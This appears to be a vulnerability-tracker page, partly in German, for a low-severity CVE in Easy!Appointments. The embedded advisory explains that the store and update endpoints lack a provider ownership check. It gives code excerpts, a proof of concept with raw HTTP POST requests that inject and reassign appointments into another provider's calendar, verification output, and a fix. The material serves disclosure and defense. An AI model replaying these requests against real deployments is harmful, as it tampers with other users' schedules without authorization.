CVE-2026-52839

lowPriorität · verfolgen · 0OT-Risiko · erhöhtEPSS 0.002 · 7. PerzentilEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.18% (7th) EPSS
CVSS 3.3 · low
Is it mine?
2 products
Prüfe deine Angriffsfläche
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · bewertet 2026-10-28

Easy!Appointments is a self hosted appointment scheduler. Versions prior to 1.6.0 correctly filter provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session. A normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted. Version 1.6.0 patches the issue.

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

3.3
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.13.3lowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:Nsecondary · ENISA EU
v3.13.3lowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:Nsecondary · security-advisories@github.comAusnutzbarkeit 0.7 · Auswirkung 2.5
v3.13.3lowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:Nsecondary · OSV
v3.13.1lowCVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (2)

Betroffene Produkte und Versionsbereiche.

05

Advisories (1)

Hersteller- und Ökosystem-Meldungen dazu.

  • GHSA-w8xc-8g92-v77hEasy!Appointments appointments/store and appointments/update allow cross-provider appointment injection — Authorization Bypass2026-07-29ghsa · osvUS

    ## Summary Easy!Appointments correctly filters provider-scoped appointments in the `appointments/search` response, proving that provider isolation is an intended security boundary. However, the direct mutation endpoints `appointments/store` and `appointments/update` only check generic appointment privileges and never verify that the submitted `id_users_provider` belongs to the current session. A normal authenticated provider can inject new appointments into another provider's schedule via `store`, or reassign existing appointments into a foreign provider's calendar via `update`. The `store` path contains an additional write-before-crash bug: the unauthorized row is committed to the database before the controller crashes on a type error, so the attacker receives an error response while the foreign appointment is already persisted. --- ## Root Cause — Step by Step Code Flow ### Step 1 — Search correctly enforces provider isolation The `search` endpoint filters out appointments belonging to other providers — proving provider isolation is an intended boundary: ```php // Appointments.php if ($role_slug === DB_SLUG_PROVIDER) { foreach ($appointments as $index => $appointment) { if ((int) $appointment['id_users_provider'] !== (int) $user_id) { unset($appointments[$index]); } } } ``` ### Step 2 — store() only checks generic add permission The store endpoint checks only whether the caller can add appointments in general — no provider ownership check: ```php // Appointments.php line 74-152 if (cannot('add', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); ``` ### Step 3 — Attacker-controlled id_users_provider saved directly The controller whitelists and persists the appointment including the attacker-controlled provider ID: ```php $this->appointments_model->only($appointment, $this->allowed_appointment_fields); $appointment_id = $this->appointments_model->save($appointment); ``` No check is performed to verify `id_users_provider` matches the current session. ### Step 4 — Write-before-crash on store() After the unauthorized row is committed, the controller crashes on a type error: ```php $appointment = $this->appointments_model->find($appointment); // array passed instead of $appointment_id ``` The attacker receives a 500 error response, but the foreign appointment row is already in the database. ### Step 5 — update() has the same missing ownership check The update endpoint also accepts attacker-controlled `id_users_provider` with only a generic edit permission check: ```php // Appointments.php line 178-196 if (cannot('edit', PRIV_APPOINTMENTS)) { abort(403, 'Forbidden'); } $appointment = json_decode(request('appointment'), true); $appointment_id = $this->appointments_model->save($appointment); ``` A provider can reassign any appointment they can edit into a foreign provider's calendar. --- ## Proof of Concept **Attacker:** Provider with session ID `4` **Target:** Foreign provider with ID `2` **Step 1 — Inject appointment into foreign provider's schedule:** ```http POST /index.php/appointments/store HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"start_datetime":"2026-05-29 15:00:00","end_datetime":"2026-05-29 15:30:00","notes":"foreign provider create by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `500 Internal Server Error` — type error on find() **But the row is committed:** ``` id start_datetime id_users_provider notes 6 2026-05-29 15:00:00 2 foreign provider create by alicer ``` Provider 4 created a row that belongs to provider 2. --- **Step 2 — Reassign existing appointment to foreign provider:** ```http POST /index.php/appointments/update HTTP/1.1 Host: 127.0.0.1:18094 Cookie: <provider-4-session> Content-Type: application/x-www-form-urlencoded csrf_token=<token>&appointment={"id":7,"start_datetime":"2026-05-30 09:00:00","end_datetime":"2026-05-30 09:30:00","notes":"reassigned to provider 2 by alicer","id_users_provider":2,"id_users_customer":3,"id_services":1} ``` Response: `200 OK` **Result:** Appointment 7 now belongs to provider 2 instead of provider 4. **Runtime verification result:** ``` attacker provider id: 4 foreign created appointment provider id: 2 reassigned appointment provider id: 2 provider-visible appointments: 0 PASS ``` The attacker's appointment search returns 0 results because both proof appointments now belong to the foreign provider. --- ## Real World Impact In a multi-provider Easy!Appointments deployment — a clinic, salon, or service business with multiple staff members — any authenticated provider can: - Inject fake appointments into a colleague's schedule causing confusion and double-bookings - Move their own appointments into another provider's calendar to hide or offload them - Disrupt scheduling integrity for staff and customers - Create unauthorized appointments that customers and admins attribute to the wrong provider The write-before-crash bug in `store()` makes detection harder — the attacker receives an error response that may appear harmless while the unauthorized record is silently committed. --- ## Suggested Fix **In `store()` and `update()`:** Enforce that `id_users_provider` matches the current session provider ID for non-admin roles: ```php if ($role_slug === DB_SLUG_PROVIDER) { $appointment['id_users_provider'] = $user_id; // force own provider ID } ``` **Fix the write-before-crash bug in `store()`:** ```php $appointment_id = $this->appointments_model->save($appointment); $appointment = $this->appointments_model->find($appointment_id); // use ID not array ``` --- ## Reporter **Yash Shendge (ashrexon)** 2026-05-25

06

auch bekannt als (3)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-07-14geändert 2026-10-24
08

Referenzen (6)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan